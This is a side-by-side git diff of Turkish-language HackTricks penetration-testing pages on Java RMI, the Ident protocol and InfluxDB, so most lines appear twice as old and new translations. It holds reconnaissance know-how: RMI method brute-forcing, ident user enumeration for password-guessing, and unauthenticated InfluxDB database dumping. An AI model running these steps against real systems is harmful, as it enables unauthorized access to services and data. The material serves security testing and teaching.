1. Bir yöntem çağrısını _Java RMI_ aracılığıyla yönlendirmek için, istemcilerin IP adresini, dinleme bağlantı noktasını, uygulanan sınıfı veya arabirimi ve hedeflenen nesnenin `ObjID` değerini ( `ObjID`, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. _Java RMI_, aynı _TCP_ bağlantı noktasında dinleyen birden fazla nesneye izin verdiği için gereklidir). 1. _Java RMI_ aracılığıyla bir yöntem çağrısını dağıtmak için, istemcilerin hedef nesnenin IP adresini, dinleme bağlantı noktasını, uygulanan sınıfı veya arabirimini ve hedef nesnenin `ObjID` değerini ( `ObjID`, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. _Java RMI_, aynı _TCP_ bağlantı noktasında birden fazla nesnenin dinlemesine izin verir çünkü gereklidir).
2. Uzak istemciler, açığa çıkarılan nesne üzerinde yöntemleri çağırarak sunucuda kaynaklar ayırabilir. _Java sanal makinesi_, bu kaynakların hangisinin hala kullanımda olduğunu ve hangilerinin çöp toplanabileceğini takip etmelidir. 2. Uzak istemciler, açığa çıkarılan nesnede yöntemleri çağırarak sunucuda kaynaklar ayırabilir. _Java sanal makinesi_, bu kaynakların hangilerinin hala kullanımda olduğunu ve hangilerinin çöp toplanabileceğini izlemelidir.
İlk zorluk, temelde bir _Java RMI_ için bir isimlendirme hizmeti olan _RMI kaydı_ tarafından çözülür. _RMI kaydı_ kendisi aynı zamanda bir _RMI hizmeti_ olmasına rağmen, uygulanan arabirim ve `ObjID` sabit ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin ilgili _TCP_ bağlantı noktasını bilerek _RMI_ kaydını tüketmelerine olanak tanır. İlk zorluk, _RMI registry_ tarafından çözülür, bu temelde bir _Java RMI_ için bir isimlendirme hizmetidir. _RMI registry_ kendisi aynı zamanda bir _RMI hizmeti_ olmasına rağmen, uygulanan arabirim ve `ObjID` sabit ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin ilgili _TCP_ bağlantı noktasını bilerek _RMI_ kaydını tüketmelerine olanak tanır.
Geliştiriciler, _Java nesnelerini_ ağda kullanılabilir hale getirmek istediklerinde genellikle onları bir _RMI kaydına_ bağlarlar. _Kayıt_, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme bağlantı noktası, uygulanan sınıf veya arabirim ve `ObjID` değeri) ve bunu insan tarafından okunabilir bir isim altında ( _bağlı isim_) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, _RMI kaydından_ ilgili _bağlı ismi_ isteyerek kayıttan bağlantı için gerekli tüm bilgileri alır. Dolayısıyla, durum temelde normal bir _DNS_ hizmetiyle aynıdır. Aşağıdaki liste küçük bir örneği göstermektedir: Geliştiriciler, _Java nesnelerini_ ağda kullanılabilir hale getirmek istediklerinde genellikle onları bir _RMI registry_ 'ye bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme bağlantı noktası, uygulanan sınıf veya arabirim ve `ObjID` değeri) ve bunu insan tarafından okunabilir bir isim altında (bağlı isim) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, _RMI registry_ 'den ilgili _bağlı ismi_ sormakta ve registry, bağlanmak için gereken tüm bilgileri geri döndürmektedir. Dolayısıyla, durum temelde normal bir _DNS_ hizmetiyle aynıdır. Aşağıdaki liste küçük bir örneği göstermektedir:
```java ```java
import java.rmi.registry.Registry; import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.LocateRegistry;
@ -71,15 +71,15 @@ e.printStackTrace();
} }
} }
``` ```
Yukarıda bahsedilen zorluklardan ikincisi _Dağıtılmış Çöp Toplayıcı_ (_DGC_) tarafından çözülür. Bu, iyi bilinen bir `ObjID` değerine sahip başka bir _RMI servisi_ ve temelde her _RMI uç noktasında_ mevcuttur. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzak nesnenin_ kullanımda olduğuna dair bir bilgiyi _DGC_'ye gönderir. _DGC_, referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir. Yukarıda bahsedilen zorluklardan ikincisi _Dağıtılmış Çöp Toplayıcı_ (_DGC_) tarafından çözülür. Bu, bilinen bir `ObjID` değerine sahip başka bir _RMI servisi_ ve temelde her _RMI uç noktasında_ mevcuttur. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzak nesnenin_ kullanımda olduğuna dair bir bilgiyi _DGC_'ye gönderir. _DGC_ daha sonra referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.
Eski _Aktivasyon Sistemi_ ile birlikte, bunlar _Java RMI_'nın üç varsayılan bileşenidir: Eski _Aktivasyon Sistemi_ ile birlikte, bunlar _Java RMI_'nin üç varsayılan bileşenidir:
1. _RMI Kayıt Defteri_ (`ObjID = 0`) 1. _RMI Kayıt Defteri_ (`ObjID = 0`)
2. _Aktivasyon Sistemi_ (`ObjID = 1`) 2. _Aktivasyon Sistemi_ (`ObjID = 1`)
3. _Dağıtılmış Çöp Toplayıcı_ (`ObjID = 2`) 3. _Dağıtılmış Çöp Toplayıcı_ (`ObjID = 2`)
_Java RMI_'nın varsayılan bileşenleri uzun süredir bilinen saldırı vektörleri olmuştur ve eski _Java_ sürümlerinde birden fazla zayıflık bulunmaktadır. Bir saldırgan bakış açısından, bu varsayılan bileşenler ilginçtir, çünkü bilinen sınıflar / arabirimler uygulanmıştır ve bunlarla etkileşim kurmak kolaydır. Bu durum özel _RMI servisleri_ için farklıdır. Bir _uzak nesne_ üzerinde bir yöntem çağırmak için, ilgili yöntem imzasını önceden bilmelisiniz. Var olan bir yöntem imzasını bilmeden, bir _RMI servisiyle_ iletişim kurmanın bir yolu yoktur. _Java RMI_'nin varsayılan bileşenleri uzun süredir bilinen saldırı vektörleri olmuş ve eski _Java_ sürümlerinde birden fazla zayıflık bulunmaktadır. Bir saldırgan bakış açısından, bu varsayılan bileşenler ilginçtir, çünkü bilinen sınıflar / arabirimler uygulanmıştır ve bunlarla etkileşim kurmak oldukça kolaydır. Bu durum özel _RMI servisleri_ için farklıdır. Bir _uzak nesne_ üzerinde bir yöntem çağırmak için, ilgili yöntem imzasını önceden bilmelisiniz. Var olan bir yöntem imzasını bilmeden, bir _RMI servisiyle_ iletişim kurmanın bir yolu yoktur.
## RMI Numaralandırma ## RMI Numaralandırma
@ -156,11 +156,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Time: 1640761503828 (Dec 29,2021 08:05) [+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760 [+] Count: -32760
``` ```
## Uzak Metotları Kaba Kuvvet Yöntemiyle Deneme ## Uzak Metotların Bruteforcing'i
Tarama sırasında herhangi bir zayıflık tespit edilmemiş olsa bile, mevcut _RMI_ hizmetleri hala tehlikeli fonksiyonları ortaya çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlere koruma sağlasa da, özel _RMI_ hizmetleriyle iletişim kurulduğunda bu tür filtreler genellikle mevcut değildir. Geçerli metod imzalarını bilmek _RMI_ hizmetlerinde değerli olabilir. Tarama sırasında herhangi bir zayıflık tespit edilmemiş olsa bile, mevcut _RMI_ hizmetleri hala tehlikeli fonksiyonları ortaya çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlere karşı deserializasyon filtreleri ile korunsa da, özel _RMI_ hizmetleriyle iletişim kurulduğunda, bu tür filtreler genellikle mevcut değildir. Geçerli metod imzalarını bilmek _RMI_ hizmetlerinde değerli olabilir.
Ne yazık ki, _Java RMI_, _uzak nesnelerde_ metodları sıralamayı desteklemez. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla metod imzalarını kaba kuvvet yöntemiyle denemek mümkündür: Ne yazık ki, _Java RMI_, _uzak nesnelerde_ metodları sıralamayı desteklemez. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla metod imzalarını bruteforce etmek mümkündür:
``` ```
$ rmg guess 172.17.0.2 9010 $ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt [+] Reading method candidates from internal wordlist rmg.txt
@ -225,7 +225,7 @@ Daha fazla bilgi şu makalelerde bulunabilir:
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout) * [rmiscout](https://bishopfox.com/blog/rmiscout)
Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ servisinin arayüzünü veya hatta uygulamasını aramak için arama motorlarına veya _GitHub_ üzerinde de bakmalısınız. _Bound name_ ve uygulanan sınıfın veya arayüzün adı burada faydalı olabilir. Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ servisinin arayüzünü veya hatta uygulamasını aramak için arama motorlarına veya _GitHub_ üzerinde de bakmalısınız. _Bound name_ ve uygulanan sınıfın veya arayüzün adı burada yardımcı olabilir.
## Bilinen Arayüzler ## Bilinen Arayüzler
@ -301,6 +301,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
## Referanslar ## Referanslar
* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## HackTricks Otomatik Komutları
``` ```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
@ -311,10 +313,10 @@ Name: Enumeration
Description: Perform basic enumeration of an RMI service Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT} Command: rmg enum {IP} {PORT}
``` ```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -6,26 +6,26 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! - **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin - [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu - [**The PEASS Family**]'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
- **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. - **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
- **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. - **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Temel Bilgiler ## Temel Bilgiler
**Ident Protokolü**, bir **TCP bağlantısını** belirli bir kullanıcıyla ilişkilendirmek için **İnternet** üzerinde kullanılır. Başlangıçta **ağ yönetimi** ve **güvenlik** konularına yardımcı olmak amacıyla tasarlanmış olup, bir sunucunun belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için bir istemciyi 113 numaralı porta sorgulamasına izin vererek çalışır. **Ident Protokolü**, bir **TCP bağlantısını** belirli bir kullanıcıyla ilişkilendirmek için **İnternet** üzerinde kullanılır. Başlangıçta **ağ yönetimi** ve **güvenlik** konularına yardımcı olmak amacıyla tasarlanmış olup, bir sunucunun belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için port 113'te bir istekte bulunmasına izin vererek çalışır.
Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, kullanımı yetkisiz taraflara kullanıcı bilgilerini yanlışlıkla açığa çıkarabileceğinden azalmıştır. Bu riskleri azaltmak için şifreli bağlantılar ve sıkı erişim kontrolleri gibi gelişmiş güvenlik önlemleri önerilmektedir. Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, kullanımı yetkisiz kişilere kullanıcı bilgilerini yanlışlıkla açığa çıkarabileceğinden dolayı azalmıştır. Bu riskleri azaltmak için şifreli bağlantılar ve sıkı erişim kontrolleri gibi gelişmiş güvenlik önlemleri önerilmektedir.
**Varsayılan port:** 113 **Varsayılan port:** 113
``` ```
@ -34,13 +34,13 @@ PORT STATE SERVICE
``` ```
## **Sıralama** ## **Sıralama**
### **Manuel - Kullanıcıyı Al/ Servisi Tanımla** ### **Manuel - Kullanıcıyı Al/ Hizmeti Tanımla**
Eğer bir makine ident ve samba (445) servislerini çalıştırıyorsa ve samba'ya 43218 portunu kullanarak bağlıysanız, samba servisini çalıştıran kullanıcıyı aşağıdaki şekilde alabilirsiniz: Bir makine ident ve samba (445) servislerini çalıştırıyorsa ve samba'ya 43218 numaralı bağlantı üzerinden bağlıysanız, samba servisini çalıştıran kullanıcıyı aşağıdaki şekilde alabilirsiniz:
![](<../.gitbook/assets/image (15) (1) (1).png>) ![](<../.gitbook/assets/image (15) (1) (1).png>)
Servise bağlandığınızda sadece enter tuşuna basarsanız: Servise bağlandığınızda sadece Enter tuşuna basarsanız:
![](<../.gitbook/assets/image (16) (1) (1).png>) ![](<../.gitbook/assets/image (16) (1) (1).png>)
@ -67,7 +67,7 @@ PORT STATE SERVICE VERSION
``` ```
### Ident-user-enum ### Ident-user-enum
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum), hedef sistemin her TCP bağlantı noktasında dinleyen işlemin sahibini belirlemek için ident servisini (113/TCP) sorgulamak için basit bir PERL betiğidir. Toplanan kullanıcı adları listesi, diğer ağ servislerinde şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` komutu ile kurulabilir. [**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum), her TCP bağlantı noktasında dinleyen işlem sahibini belirlemek için ident servisini (113/TCP) sorgulamak için basit bir PERL betiğidir. Toplanan kullanıcı adları listesi, diğer ağ servislerinde şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` komutu ile kurulabilir.
``` ```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445 root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
@ -85,10 +85,10 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
identd.conf identd.conf
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -117,10 +117,10 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -1,24 +1,22 @@
# 8086 - InfluxDB Pentesting # 8086 - InfluxDB Pentesting
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools. Get Access Today:
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: Other ways to support HackTricks:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
@ -31,13 +29,13 @@ HackTricks'ı desteklemenin diğer yolları:
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5 8086/tcp open http InfluxDB http admin 1.7.5
``` ```
## Sıralama ## Numaralandırma
Bir pentester açısından bu da hassas bilgileri depolayabilecek başka bir veritabanı olduğundan, tüm bilgileri nasıl döküleceğini bilmek ilginç olabilir. Bir pentester açısından bu, hassas bilgileri depolayabilecek başka bir veritabanı olduğundan, tüm bilgileri nasıl döküleceğini bilmek ilginç olabilir.
### Kimlik Doğrulama ### Kimlik Doğrulama
InfluxDB kimlik doğrulaması gerektirebilir veya gerektirmeyebilir InfluxDB'nin kimlik doğrulama gerektirebileceği veya gerektirmeyebileceği bilinmelidir.
```bash ```bash
# Try unauthenticated # Try unauthenticated
influx -host 'host name' -port 'port #' influx -host 'host name' -port 'port #'
@ -53,7 +51,7 @@ Influxdb'de kimlik doğrulamasını atlamaya izin veren bir zafiyet bulunmaktayd
Bu örneğin bilgileri [**buradan**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/) alınmıştır. Bu örneğin bilgileri [**buradan**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/) alınmıştır.
#### Veritabanlarını göster #### Veritabanlarını Göster
Bulunan veritabanları `telegraf` ve `internal` (bu her yerde bulunur) olarak belirlenmiştir. Bulunan veritabanları `telegraf` ve `internal` (bu her yerde bulunur) olarak belirlenmiştir.
```bash ```bash
@ -106,7 +104,7 @@ inodes_used integer
``` ```
#### Tabloyu Dök #### Tabloyu Dök
Ve son olarak, tabloyu dökmeniz gerekebilir, aşağıdaki gibi bir şey yaparak: Ve son olarak, tabloyu dökebilirsiniz, şöyle bir şey yaparak:
```bash ```bash
select * from cpu select * from cpu
name: cpu name: cpu
@ -116,7 +114,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101 1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
``` ```
{% hint style="warning" %} {% hint style="warning" %}
Kimlik doğrulama atlamasıyla yapılan bazı testlerde, tablonun adının çift tırnaklar arasında olması gerektiği belirlendi: `select * from "cpu"` Kimlik doğrulama atlatma testlerinde bazı durumlarda tablo adının çift tırnak içinde olması gerektiği belirlendi: `select * from "cpu"`
{% endhint %} {% endhint %}
### Otomatik Kimlik Doğrulama ### Otomatik Kimlik Doğrulama
@ -129,18 +127,18 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**]'i (https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -2,27 +2,27 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
